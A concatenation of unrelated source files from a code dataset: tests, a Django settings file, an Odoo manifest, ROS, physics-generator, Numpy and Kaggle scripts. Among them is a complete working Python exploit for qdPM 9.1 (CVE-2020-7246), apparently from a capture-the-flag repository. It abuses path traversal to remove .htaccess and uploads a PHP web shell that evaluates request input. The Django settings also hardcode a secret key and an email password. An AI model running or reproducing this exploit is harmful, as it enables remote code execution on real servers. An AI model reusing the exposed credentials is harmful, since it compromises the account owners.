] | permissive | robotframework/robotframework | 407b0cdbe0d3bb088f9bfcf9ea7d16e22eee1ddf | cf896995f822f571c33dc5651d51365778b1cf40 | refs/heads/master | 2023-08-29T03:19:00.734810 | 2023-08-27T18:14:48 | 2023-08-28T18:14:11 | 21,273,155 | 8,635 | 2,623 | Apache-2.0 | 2023-09-05T04:58:08 | 2014-06-27T11:10:38 | Python | UTF-8 | Python | false | false | 741 | py | import unittest
from robot.libdocpkg.standardtypes import STANDARD_TYPE_DOCS
from robot.running.arguments.typeconverters import (
EnumConverter, CombinedConverter, CustomConverter, TypeConverter, TypedDictConverter
)
class TestStandardTypeDocs(unittest.TestCase):
no_std_docs = (EnumConverter, CombinedConverter, CustomConverter, TypedDictConverter)
def test_all_standard_types_have_docs(self):
for cls in TypeConverter.__subclasses__():
if cls.type not in STANDARD_TYPE_DOCS and cls not in self.no_std_docs:
raise AssertionError(f"Standard converter '{cls.__name__}' "
f"does not have documentation.")
if __name__ == '__main__':
unittest.main()
| [
"peke@iki.fi"
] | peke@iki.fi |
57e01f66e7647c4f10f809f8c799d1ce79bbf434 | a4fcaa28f288ff495ac09c3f8070f019f4d3ba80 | /virtualenvs/rp-3-python3_6_flask_bokeh_bette/bin/pip3.6 | 25f52bb7807a73b9ddac0577075cb8067474af93 | [] | no_license | tomwhartung/always_learning_python | db44b0745f27f482e6482faa821f89dc7809dda8 | ab27c164a724754e3e25518bf372bd4437995d64 | refs/heads/master | 2020-12-07T15:57:04.184391 | 2017-05-18T19:35:31 | 2017-05-18T19:35:31 | 67,449,327 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 317 | 6 | #!/var/www/always_learning/github/customizations/always_learning_python/virtualenvs/rp-3-python3_6_flask_bokeh_bette/bin/python3.6
# -*- coding: utf-8 -*-
import re
import sys
from pip import main
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
sys.exit(main())
| [
"tomwhartung@gmail.com"
] | tomwhartung@gmail.com |
161fa8607b38260ceab9820c52b08e6799e531be | 89fc945e93c9cfacaab0d3bac0071ee95c86f81d | /bookdata/schema.py | 16f3874b8f8748971303648b94e3517ebe924d3f | [
"MIT"
] | permissive | jimfhahn/bookdata-tools | 2341825438aa627554eb91d1929545e7fe0b24f5 | cd857028a7947f369d84cb69a941303a413046b6 | refs/heads/master | 2023-09-05T07:38:43.604828 | 2021-03-11T22:21:30 | 2021-03-11T22:21:30 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 703 | py | """
Data schema information for the book data tools.
"""
import pandas as pd
class NS:
def __init__(self, name, num):
self.name = name
self.code = num
self.offset = num * 100000000
ns_work = NS('OL-W', 1)
ns_edition = NS('OL-E', 2)
ns_loc_rec = NS('LOC', 3)
ns_gr_work = NS('GR-W', 4)
ns_gr_book = NS('GR-B', 5)
ns_loc_work = NS('LOC-W', 6)
ns_loc_instance = NS('LOC-I', 7)
ns_isbn = NS('ISBN', 9)
numspaces = [
ns_work, ns_edition,
ns_loc_rec,
ns_gr_work, ns_gr_book,
ns_loc_work, ns_loc_instance,
ns_isbn
]
src_labels = pd.Series(dict((_ns.name, _ns.code) for _ns in numspaces))
src_label_rev = pd.Series(src_labels.index, index=src_labels.values)
| [
"michaelekstrand@boisestate.edu"
] | michaelekstrand@boisestate.edu |
94b5e34a931d800c3150922a52f9eaee92644e13 | f9886d2b57d92186773d73f59dc0a0e9759b8944 | /04_bigdata/01_Collection/01_XML/6_change_value_to_attribute.py | e5af8ac67740920fae4e00daa09911777e69e0a2 | [] | no_license | Meengkko/bigdata_python2019 | 14bab0da490bd36c693f50b5d924e27f4a8e02ba | a28e964ab7cefe612041830c7b1c960f92c42ad5 | refs/heads/master | 2022-12-12T15:51:21.448923 | 2019-11-08T03:50:15 | 2019-11-08T03:50:15 | 195,142,241 | 0 | 0 | null | 2022-04-22T22:37:59 | 2019-07-04T00:17:18 | HTML | UTF-8 | Python | false | false | 370 | py | from xml.etree.ElementTree import Element, dump, SubElement
note = Element('note', date="20120104",to="Tove")
# to = Element('to') # 자식 노드
# to.text = "Tove" # 현재 앨리먼트(Tag)에 값 추가
# note.append(to) # 부모 노드에 자식노드 추가
SubElement(note, "From").text = "Jani" # SubElement를 활용하여 자식 노드 추가
dump(note)
| [
"you@ddd.com"
] | you@ddd.com |
922fe3837b1fe1ad442a1198b4d5631ceff4734a | 80052e0cbfe0214e4878d28eb52009ff3054fe58 | /e2yun_addons/odoo12/e2yun_website_helpdesk_form/__manifest__.py | 0f88accae37eadfb417ad8d9b7f0f5ef3c255a0f | [] | no_license | xAlphaOmega/filelib | b022c86f9035106c24ba806e6ece5ea6e14f0e3a | af4d4b079041f279a74e786c1540ea8df2d6b2ac | refs/heads/master | 2021-01-26T06:40:06.218774 | 2020-02-26T14:25:11 | 2020-02-26T14:25:11 | 243,349,887 | 0 | 2 | null | 2020-02-26T19:39:32 | 2020-02-26T19:39:31 | null | UTF-8 | Python | false | false | 1,188 | py | # -*- coding: utf-8 -*-
# Part of Odoo. See LICENSE file for full copyright and licensing details.
{
'name': 'e2yun_Online Ticket Submission',
'category': 'Website',
'summary': 'e2yun 服务订单表单在线提交 ',
'description': """在线提交服务订单.""",
'application': True,
'depends': [
'web', 'website', 'website_helpdesk', 'helpdesk', 'website_helpdesk_form',
'im_livechat', 'portal', 'mail', "rating"
],
'data': [
'security/helpdesk_security.xml',
'security/ir.model.access.csv',
'data/website_helpdesk.xml',
'views/helpdesk_templates.xml',
'views/commonproblems_templates.xml',
'views/helpdesk_views.xml',
'views/helpdesk_ticket_brand_type.xml',
'views/helpdesk_tickchat_uuid.xml',
'views/helpdesk_rating.xml',
'views/helpdesk_team_views_subuser.xml',
'views/helpdesk_csoffline.xml',
],
'qweb': [
"static/src/xml/helpdeskdesk_matnr.xml",
"static/src/xml/helpdeskdesk_livechat_out.xml"
],
'license': 'OEEL-1',
'installable': True,
'auto_install': False,
'active': False,
'web': True,
}
| [
"hepeng1@163.com"
] | hepeng1@163.com |
c231bdae8240c64b396674a0fdb0135b62a4b978 | cd8823a1c99c74c8ad720e93158feb6a29bc04ff | /2020-CSGCTF-Final/web/easy_upload/exploit.py | 8dfc6f4119afe11b0db25a8bb87b8635b5a7d8af | [] | no_license | kerlingcode/Attack-Defense-Challenges | 0ef12a3897f5fa4898fbac9bdee65fd3fdeeec89 | 2f5a62be814afb471be47bf3854a776296d1873f | refs/heads/master | 2023-05-27T09:21:11.962707 | 2020-10-23T12:17:15 | 2020-10-23T12:17:15 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,644 | py | #encoding:utf-8
# Exploit Title: qdPM 9.1 - Remote Code Execution
# Google Dork: intitle:qdPM 9.1. Copyright © 2020 qdpm.net
# Date: 2020-01-22
# Exploit Author: Rishal Dwivedi (Loginsoft)
# Vendor Homepage: http://qdpm.net/
# Software Link: http://qdpm.net/download-qdpm-free-project-management
# Version: <=1.9.1
# Tested on: Windows 10 (Python 2.7)
# CVE : CVE-2020-7246
# Exploit written in Python 2.7
# Tested Environment - Windows 10
# Path Traversal + Remote Code Execution
# Command - qdpm-exploit.py -url http://localhost/ -u user@localhost.com -p password
# -*- coding: utf-8 -*-
#!/usr/bin/python
import requests
from lxml import html
from argparse import ArgumentParser
session_requests = requests.session()
def multifrm(
userid,
username,
csrftoken_,
EMAIL,
HOSTNAME,
uservar,
):
request_1 = {
'sf_method': (None, 'put'),
'users[id]': (None, userid[-1]),
'users[photo_preview]': (None, uservar),
'users[_csrf_token]': (None, csrftoken_[-1]),
'users[name]': (None, username[-1]),
'users[new_password]': (None, ''),
'users[email]': (None, EMAIL),
'extra_fields[9]': (None, ''),
'users[remove_photo]': (None, '1'),
}
return request_1
def req(
userid,
username,
csrftoken_,
EMAIL,
HOSTNAME,
):
request_1 = multifrm(
userid,
username,
csrftoken_,
EMAIL,
HOSTNAME,
'.htaccess',
)
new = session_requests.post(HOSTNAME + '/index.php/myAccount/update', files=request_1)
request_2 = multifrm(
userid,
username,
csrftoken_,
EMAIL,
HOSTNAME,
'../uploads/.htaccess',
)
new1 = session_requests.post(HOSTNAME + '/index.php/myAccount/update', files=request_2)
request_3 = {
'sf_method': (None, 'put'),
'users[id]': (None, userid[-1]),
'users[photo_preview]': (None, ''),
'users[_csrf_token]': (None, csrftoken_[-1]),
'users[name]': (None, username[-1]),
'users[new_password]': (None, ''),
'users[email]': (None, EMAIL),
'extra_fields[9]': (None, ''),
'users[photo]': ('backdoor.jpg','<?php eval($_REQUEST["c"]);?>', 'application/octet-stream'),
}
upload_req = session_requests.post(HOSTNAME
+ '/index.php/myAccount/update', files=request_3)
def main(HOSTNAME, EMAIL, PASSWORD):
result = session_requests.get(HOSTNAME + '/index.php/login')
login_tree = html.fromstring(result.text)
authenticity_token = \
list(set(login_tree.xpath("//input[@name='login[_csrf_token]']/@value"
)))[0]
payload = {'login[email]': EMAIL, 'login[password]': PASSWORD,
'login[_csrf_token]': authenticity_token}
result = session_requests.post(HOSTNAME + '/index.php/login',
data=payload,
headers=dict(referer=HOSTNAME
+ '/index.php/login'))
account_page = session_requests.get(HOSTNAME + '/index.php/myAccount'
)
account_tree = html.fromstring(account_page.content)
userid = account_tree.xpath("//input[@name='users[id]']/@value")
username = account_tree.xpath("//input[@name='users[name]']/@value")
csrftoken_ = \
account_tree.xpath("//input[@name='users[_csrf_token]']/@value")
print(userid, username, csrftoken_)
req(userid, username, csrftoken_, EMAIL, HOSTNAME)
'''
get_file = session_requests.get(HOSTNAME + '/index.php/myAccount')
print(get_file.content.split('me="users[photo_preview]" value="')[1].split("\"")[0])
final_tree = html.fromstring(get_file.content)
backdoor = \
final_tree.xpath("//input[@name='users[photo_preview]']/@value")
print 'Backdoor uploaded at - > ' + HOSTNAME + '/uploads/users/' \
+ backdoor[-1] + '?cmd=whoami'
'''
# http://172.16.9.20:9003//uploads/users/861431-backdoor.jpg
if __name__ == '__main__':
parser = \
ArgumentParser(description='qdmp - Path traversal + RCE Exploit'
)
parser.add_argument('-url', '--host', dest='hostname',
help='Project URL')
parser.add_argument('-u', '--email', dest='email',
help='User email (Any privilege account)')
parser.add_argument('-p', '--password', dest='password',
help='User password')
args = parser.parse_args()
main(args.hostname, args.email, args.password)
| [
"wangyihanger@gmail.com"
] | wangyihanger@gmail.com |
2c2399c9bcde7c1c04d42548d79ee43949c265ab | de8e0c5c759347917ca7f06b42ca6c82b8f8c95f | /baekjoon/11_math-2/Factorization.py | 8d80ae4f5f9060fa52fa0def7dd54001a9dfad6a | [] | no_license | Greek-and-Roman-God/Apollo | aaeb315a9e70c719b3e53e3c4b9b5dde7b517ec0 | 2823cbcc9fc10ecd3f1785732403cb9c288f8ef3 | refs/heads/main | 2023-08-23T12:08:05.322733 | 2021-10-02T10:54:13 | 2021-10-02T10:54:13 | 308,242,023 | 1 | 1 | null | 2020-11-26T12:03:44 | 2020-10-29T06:49:26 | Python | UTF-8 | Python | false | false | 336 | py | # 11653 소인수분해
# https://www.acmicpc.net/problem/11653
# 1
n = int(input())
i = 2
while 1:
if n == 1:
break
if n % i:
i += 1
else:
print(i)
n = n // i
# 2
n = int(input())
for i in range(2, n//2+1):
while n % i == 0:
print(i)
n //= i
if n != 1:
print(n)
| [
"doyeon311@gmail.com"
] | doyeon311@gmail.com |
55f8b63206df9c4f94fa808d1378427acc157245 | 61a2e1f3ca7052994d93b3861acb2dd1609ce696 | /node_one.py | 7efd90e4699ebf0fb263fcc217830d2c15586368 | [] | no_license | smartinternz02/SI-GuidedProject-3921-1626161836 | f7faf3cb4aacfa721090a4a60ec94c347f60b981 | 65b78a2a5230c7505c14ae84ca1962388d4b1d2a | refs/heads/main | 2023-07-01T01:52:53.001711 | 2021-08-04T17:12:39 | 2021-08-04T17:12:39 | 385,518,512 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 175 | py | #! /usr/bin/env python3
import rospy
rospy.init_node("node_1")
rate=rospy.Rate(3)
while not rospy.is_shutdown():
print ('sensor : sensor : 1')
rate.sleep()
| [
"noreply@github.com"
] | smartinternz02.noreply@github.com |
7c19cd20c5fdbbb7d7b6e85d7c9ca309db7e3e60 | 48cee55c3f85af2a27dca1197ea755b4dc75b1ec | /school_site/school_site/settings.py | 787d2ce640c73cd1571df5ea9affa730df26c5c4 | [] | no_license | alex6446/SchoolWebsite | 07f903aad00df48e097928aef4502946862a8706 | 95a70562e502a2258463291868a6225605b66e7e | refs/heads/master | 2023-05-05T08:26:19.225029 | 2019-08-21T15:43:28 | 2019-08-21T15:43:28 | 182,879,554 | 0 | 0 | null | 2023-04-21T20:32:50 | 2019-04-22T22:49:05 | Python | UTF-8 | Python | false | false | 5,549 | py | """
Django settings for school_site project.
Generated by 'django-admin startproject' using Django 2.2.
For more information on this file, see
https://docs.djangoproject.com/en/2.2/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/2.2/ref/settings/
"""
import os
# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/2.2/howto/deployment/checklist/
# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = ')2%l9n1mr$8&=ji^4(--6s7_yvg+221=v(z1r*w-c%+)bvae8m'
# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = True
ALLOWED_HOSTS = [
'e020e431.ngrok.io',
'localhost'
]
SITE_ID = 1
# Application definition
INSTALLED_APPS = [
# 'easy_maps',
'crispy_forms',
'django.contrib.sites',
'fluent_contents.plugins.googledocsviewer',
'fluent_contents',
'django_wysiwyg',
'filebrowser',
'tinymce',
'core.apps.CoreConfig',
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
]
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
]
ROOT_URLCONF = 'school_site.urls'
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [],
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'core.context_processors.menu',
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]
WSGI_APPLICATION = 'school_site.wsgi.application'
# Database
# https://docs.djangoproject.com/en/2.2/ref/settings/#databases
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),
}
}
# Password validation
# https://docs.djangoproject.com/en/2.2/ref/settings/#auth-password-validators
AUTH_PASSWORD_VALIDATORS = [
{
'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
},
]
# Internationalization
# https://docs.djangoproject.com/en/2.2/topics/i18n/
LANGUAGE_CODE = 'uk-ua'
TIME_ZONE = 'Etc/GMT-3'
USE_I18N = True
USE_L10N = True
USE_TZ = True
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/2.2/howto/static-files/
STATIC_ROOT = os.path.join(BASE_DIR, 'core/static')
STATIC_URL = '/static/'
MEDIA_ROOT = os.path.join(BASE_DIR, 'media')
MEDIA_URL = '/media/'
# TINYMCE_JS_ROOT = os.path.join(MEDIA_ROOT + 'js/tiny_mce')
# TINYMCE_JS_URL = os.path.join(MEDIA_URL + 'js/tiny_mce/tiny_mce.js')
#TINYMCE_COMPRESSOR = True
TINYMCE_DEFAULT_CONFIG = {
'height': 360,
'width': 920,
'language': 'ru',
'cleanup_on_startup': True,
'custom_undo_redo_levels': 20,
'selector': 'textarea',
'theme': 'modern',
'plugins': '''
textcolor colorpicker save link image media preview codesample
table code lists fullscreen insertdatetime nonbreaking
directionality searchreplace wordcount visualblocks
visualchars code fullscreen autolink lists charmap print hr
anchor pagebreak paste
''',
'toolbar1': '''
bold italic underline | fontselect,
fontsizeselect | forecolor backcolor | link image media | charmap hr | code preview fullscreen |
''',
'toolbar2': '''
alignleft alignright |
aligncenter alignjustify | indent outdent | bullist numlist table |
''',
'menubar': True,
'statusbar': True,
'visual': True,
'fontsize_formats': "8pt 10pt 11pt 12pt 14pt 16pt 18pt 20pt 22pt 24pt 28pt 32pt 36pt 42pt 48pt",
'paste_as_text': True,
# 'contextmenu': "paste",
# 'forced_p_newlines': False,
# 'forced_br_newlines': True,
# 'forced_root_block': '',
}
EMAIL_USE_TLS = True
EMAIL_BACKEND = 'django.core.mail.backends.smtp.EmailBackend'
EMAIL_HOST = 'smtp.gmail.com'
EMAIL_HOST_USER = 'school2testing321@gmail.com'
EMAIL_HOST_PASSWORD = 'testing321'
EMAIL_PORT = 587
# ACCOUNT_EMAIL_SUBJECT_PREFIX = 'school2'
CRISPY_TEMPLATE_PACK = 'bootstrap4'
# EASY_MAPS_GOOGLE_KEY = 'AIzaSyCwRFDROO70Wg4OJe9XmzSbM6pht-jOzBk'
#EMAIL_HOST = 'localhost'
#EMAIL_PORT = 1025
"""STATICFILES_DIRS= [
os.path.join(BASE_DIR , "static")
]"""
#DEFAULT_PATH_TINYMCE = os.path.join(BASE_DIR, "static/js/tinymce/")
#FILEBROWSER_DIRECTORY = os.path.join(BASE_DIR, 'media')
| [
"alexeymedenitskiy@gmail.com"
] | alexeymedenitskiy@gmail.com |
f7d51e3a6b1ac091d8c13e846c331927665c44f8 | 2daa3894e6d6929fd04145100d8a3be5eedbe21c | /tests/artificial/transf_sqr/trend_poly/cycle_30/ar_/test_artificial_32_sqr_poly_30__20.py | c35f1cbece77dfa19a9d05c6952d04f152c8fa7b | [
"BSD-3-Clause",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | Henri-Lo/pyaf | a1f73a0cc807873bd7b79648fe51de9cfd6c126a | 08c968425d85dcace974d90db7f07c845a0fe914 | refs/heads/master | 2021-07-01T12:27:31.600232 | 2017-09-21T11:19:04 | 2017-09-21T11:19:04 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 303 | py | import pyaf.Bench.TS_datasets as tsds
import pyaf.tests.artificial.process_artificial_dataset as art
dataset = tsds.generate_random_TS(N = 32 , FREQ = 'D', seed = 0, trendtype = "poly", cycle_length = 30, transform = "sqr", sigma = 0.0, exog_count = 20, ar_order = 0);
art.process_dataset(dataset); | [
"antoine.carme@laposte.net"
] | antoine.carme@laposte.net |
0fcec58fc11b709d3ffc87d5b56c30844cb06f65 | 3b60e6f4bbc011003ac4929f01eb7409918deb79 | /Analysis_v1/Simulation/Pythia/ADD/ADDCP2/CP2ADDfragments/ADDGravToGG_NegInt-1_LambdaT-13000_M-500To1000_TuneCP2_13TeV-pythia8_cfi.py | 78d803ed1b2732950af25c8bd36f9480d5261f5e | [] | no_license | uzzielperez/Analyses | d1a64a4e8730325c94e2bc8461544837be8a179d | 1d66fa94763d7847011ea551ee872936c4c401be | refs/heads/master | 2023-02-09T04:54:01.854209 | 2020-09-07T14:57:54 | 2020-09-07T14:57:54 | 120,850,137 | 0 | 0 | null | 2020-06-17T16:48:16 | 2018-02-09T03:14:04 | C++ | UTF-8 | Python | false | false | 1,251 | py | import FWCore.ParameterSet.Config as cms
from Configuration.Generator.Pythia8CommonSettings_cfi import *
from Configuration.Generator.MCTunes2017.PythiaCP2Settings_cfi import *
generator = cms.EDFilter("Pythia8GeneratorFilter",
maxEventsToPrint = cms.untracked.int32(1),
pythiaPylistVerbosity = cms.untracked.int32(1),
filterEfficiency = cms.untracked.double(1.0),
pythiaHepMCVerbosity = cms.untracked.bool(False),
comEnergy = cms.double(13000.),
PythiaParameters = cms.PSet(
pythia8CommonSettingsBlock,
pythia8CP2SettingsBlock,
processParameters = cms.vstring(
'ExtraDimensionsLED:LambdaT = 13000.0',
'ExtraDimensionsLED:n = 4',
'ExtraDimensionsLED:ffbar2gammagamma = on',
'ExtraDimensionsLED:gg2gammagamma = on',
'ExtraDimensionsLED:CutOffmode = 2',
'ExtraDimensionsLED:NegInt= 1',
'PhaseSpace:pTHatMin = 70.0',
'PhaseSpace:mHatMin = 500.0',
'PhaseSpace:mHatMax = 1000.0',
),
parameterSets = cms.vstring('pythia8CommonSettings',
'pythia8CP2Settings',
'processParameters',
)
)
)
| [
"uzzie.perez@cern.ch"
] | uzzie.perez@cern.ch |
c7ddb844b91a3780ee7e60c52dc483fd56926fac | 36957a9ce540846d08f151b6a2c2d582cff1df47 | /VR/Python/Python36/Lib/site-packages/django/contrib/messages/constants.py | fbdce4e4d9bd4e5cf428861ea358ba890c129cfe | [] | no_license | aqp1234/gitVR | 60fc952307ef413e396d31e0d136faffe087ed2b | e70bd82c451943c2966b8ad1bee620a0ee1080d2 | refs/heads/master | 2022-12-29T15:30:12.540947 | 2020-10-07T15:26:32 | 2020-10-07T15:26:32 | 290,163,043 | 0 | 1 | null | 2020-08-25T09:15:40 | 2020-08-25T08:47:36 | C# | UTF-8 | Python | false | false | 128 | py | version https://git-lfs.github.com/spec/v1
oid sha256:599c63cef128288ee6802852169fe0f5efb3507f2be892e1bbdb05b1fb5318d0
size 312
| [
"aqp1234@naver.com"
] | aqp1234@naver.com |
a154800e384742afe40229723c6a82fd41ef1463 | fa0ae8d2e5ecf78df4547f0a106550724f59879a | /Numpy/day06/eig.py | 6c39941771c00a8b74a849b9b48b7c2ab172336f | [] | no_license | Polaris-d/note | 71f8297bc88ceb44025e37eb63c25c5069b7d746 | 6f1a9d71e02fb35d50957f2cf6098f8aca656da9 | refs/heads/master | 2020-03-22T17:51:49.118575 | 2018-09-06T03:36:00 | 2018-09-06T03:36:00 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 325 | py | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
import numpy as np
A = np.mat('3 -2; 1 0')
print(A)
eigvals, eigvecs = np.linalg.eig(A)
print(eigvals, eigvecs, sep='\n')
a = eigvals[0]
x = eigvecs[:, 0]
print(A * x, a * x, sep='\n')
a = eigvals[1]
x = eigvecs[:, 1]
print(A * x, a * x, sep='\n')
| [
"610079251@qq.com"
] | 610079251@qq.com |
56f14e7c79bc56c708ce4d9309d16fc8f969159e | a2e10b9a73ccfb80fbb98d47532d4c6a6de49be7 | /utils/stringIO/grail/settings.py | 942fc950c065c1041feb11cc0ca9f2acb2001c96 | [] | no_license | yuqi-test/ECProAutomation | 81a04b77c9226acd4f745bf59df3c741bd9d3605 | 9c08c5b3bd122809fbb5b44cd933f4240e42e4f7 | refs/heads/master | 2022-04-21T11:46:17.788667 | 2020-04-21T10:12:52 | 2020-04-21T10:12:52 | 257,553,619 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 398 | py | export_mode = False
disable_steps = False
print_step_time = False
step_time_template = '[{0:4.2f}s] '
indentation_const = ' '
skip_func = ('setup',
'teardown',
'setup_class',
'teardown_class',
'setup_module',
'teardown_module',
'setup_package',
'teardown_package',
'tearDown',
)
| [
"yuqi@infimind.com"
] | yuqi@infimind.com |
dfd98191175a3dd95b1c3ae9ce0834fff3628057 | 99a1b01baed66d3e7ab7c26b1eb8d5832421634b | /db/dbInsert/insertDarwin_Ocean_Color_bcp.py | 819ac4b1bd08f7680ed2d089e9afdd302bebf900 | [] | no_license | mdashkezari/opedia | 011f4d358b1f860ec51cca408c3af9368e036868 | 1e82ae66baedad721c41182f0586fa2a867291c2 | refs/heads/master | 2021-05-09T11:24:18.126622 | 2019-09-12T20:24:06 | 2019-09-12T20:24:06 | 118,988,572 | 9 | 8 | null | 2019-09-11T19:54:30 | 2018-01-26T01:22:55 | HTML | UTF-8 | Python | false | false | 1,147 | py |
import sys
sys.path.append('../')
import insertFunctions as iF
import insertPrep as ip
import config_vault as cfgv
import pandas as pd
import io
import numpy as np
import glob
import xarray as xr
import os.path
############################
########### OPTS ###########
tableName = 'tblDarwin_Ocean_Color'
rawFilePath = '/media/nrhagen/Drobo/OpediaVault/model/darwin_Ocean_Color/rep/'
netcdf_list = glob.glob(rawFilePath + '*.nc')
exportBase = cfgv.opedia_proj + 'db/dbInsert/export_temp/'
prefix = tableName
export_path = '%s%s.csv' % (exportBase, prefix)
############################
############################
processed_csv_list = glob.glob(rawFilePath + '*darwin_v0.2_cs510_ocean_color*.csv*')
sorted_csvlist = np.sort(processed_csv_list).tolist()
for sorted_csv in sorted_csvlist:
if os.path.isfile(sorted_csv[:-3] + '_BCP.txt'):
print(sorted_csv[:-4] + ' already inserted into db. Passing')
pass
else:
print('Inserting ' + sorted_csv[:-4] + ' into db')
iF.toSQLbcp(sorted_csv, tableName)
file = open(exportBase + os.path.basename(sorted_csv)[:-3] + '_BCP.txt', "w")
file.close()
| [
"norlandrhagen@gmail.com"
] | norlandrhagen@gmail.com |
27bd80225a47293e5ddca228a1de1c72096f45d8 | 15a3297d6aeb8d8258127a19540c2583c9fc81d1 | /tests/test_array_ops.py | ffb529d419ef0280c913c6b54067c7c9f7d65b88 | [] | no_license | RW74/htm-tensorflow | b6fffcb5e69e05b150a261ab44685c22f72cdc4e | 7baebdd7df393a7f1badee36c97aea36b35913b0 | refs/heads/master | 2020-04-29T08:00:38.308477 | 2019-02-21T07:05:17 | 2019-02-21T07:05:17 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 552 | py | from htmtorch.testing.torchtest import TorchTestCase
from htmtorch.functional.array_ops import array_to_nd_index
import torch as tor
class TestArrayOps(TorchTestCase):
def test_basic_cuda(self):
ind = tor.LongTensor([110, 125, 235, 333, 404]).cuda()
nd_shape = tor.LongTensor([10, 10, 10]).cuda()
xy = array_to_nd_index(ind, nd_shape)
result = [[1, 1, 0],
[1, 2, 5],
[2, 3, 5],
[3, 3, 3],
[4, 0, 4]]
self.assertTensorEqual(result, xy)
| [
"josh.miklos@gmail.com"
] | josh.miklos@gmail.com |
20e46df06810abb0fa2b20f57e6b1d069dc6f7cf | 3ae6dc36775925a9a029cdb39788e30e20882028 | /tests/structures/test_interface.py | 6fd7f17584eb3cd27d3198d573ab83c87022c614 | [
"BSD-3-Clause"
] | permissive | rubacalypse/voc | 89939b63596cb1ada2cdc06463d1bb527ef5099e | 485b698247e49ac7bc58c18839d21556018e16a9 | refs/heads/master | 2021-01-18T07:36:34.361276 | 2016-01-03T18:05:27 | 2016-01-03T18:05:27 | 48,055,448 | 0 | 0 | null | 2015-12-15T16:29:37 | 2015-12-15T16:29:36 | null | UTF-8 | Python | false | false | 1,183 | py | from ..utils import TranspileTestCase
class InterfaceTests(TranspileTestCase):
def test_implement_interface(self):
"You can implement (and use) a native Java interface"
self.assertJavaExecution(
"""
from java.lang import StringBuilder
class MyStringAnalog(implements=java.lang.CharSequence):
def __init__(self, value):
self.value = value
def charAt(self, index: int) -> char:
return 'x'
def length(self) -> int:
return len(self.value)
def subSequence(self, start: int, end: int) -> java.lang.CharSequence:
return MyStringAnalog(self.value[start:end])
def toString(self) -> java.lang.String:
return self.value
analog = MyStringAnalog("world")
builder = StringBuilder()
builder.append("Hello, ")
builder.append(analog)
print(builder)
print("Done.")
""",
"""
Hello, world
Done.
""", run_in_function=False)
| [
"russell@keith-magee.com"
] | russell@keith-magee.com |
cb9bd6a54a31181beeb644511e54151a4fee2fe1 | 1c8bcd2d8e129a92e3328f47d2a452814c033327 | /kaggle/ghouls-goblins-and-ghosts-boo/script_1.py | e347cb42aa2a26bcc394a0ab838bc06f91aabe72 | [
"MIT"
] | permissive | josepablocam/janus-public | 425334706f9a4519534779b7f089262cf5cf0dee | 4713092b27d02386bdb408213d8edc0dc5859eec | refs/heads/main | 2023-03-08T15:21:12.461762 | 2021-02-25T20:53:02 | 2021-02-25T20:53:02 | 314,606,918 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,797 | py | # Import the required libraries
import numpy as np # linear algebra
import pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)
from matplotlib import pyplot as plt
import seaborn as sns
from sklearn import preprocessing
from sklearn import metrics
from sklearn.model_selection import train_test_split
from sklearn.model_selection import GridSearchCV
from sklearn.tree import DecisionTreeClassifier
from sklearn.ensemble import VotingClassifier
from sklearn.ensemble import RandomForestClassifier
from sklearn.ensemble import BaggingClassifier
from sklearn.ensemble import GradientBoostingClassifier
from sklearn.neighbors import KNeighborsClassifier
from sklearn.linear_model import LogisticRegression
from sklearn.svm import SVC
import warnings
warnings.filterwarnings("ignore")
train_data_orig = pd.read_csv('../input/train.csv')
test_data_orig = pd.read_csv('../input/test.csv')
print("Shape of Training Data")
print(train_data_orig.shape)
print("\n")
print("Shape of Testing Data")
print(test_data_orig.shape)
print("Columns in Training Data")
print(train_data_orig.columns)
print("\n")
print("Columns in Testing Data")
print(test_data_orig.columns)
train_data_orig.info()
train_data_orig.head()
train_data = train_data_orig.drop(['id'], axis = 1)
test_data = test_data_orig.drop(['id'], axis = 1)
train_data.describe()
test_data.describe()
print(np.sort(train_data['color'].unique()))
print(np.sort(test_data['color'].unique()))
print(np.sort(train_data['type'].unique()))
# Use LabelEncoder for the 'color' feature
color_le = preprocessing.LabelEncoder()
color_le.fit(train_data['color'])
train_data['color_int'] = color_le.transform(train_data['color'])
_ = sns.pairplot(train_data.drop('color', axis = 1), hue = 'type', palette = 'muted', diag_kind='kde')
train_data.drop('color_int', axis = 1, inplace = True)
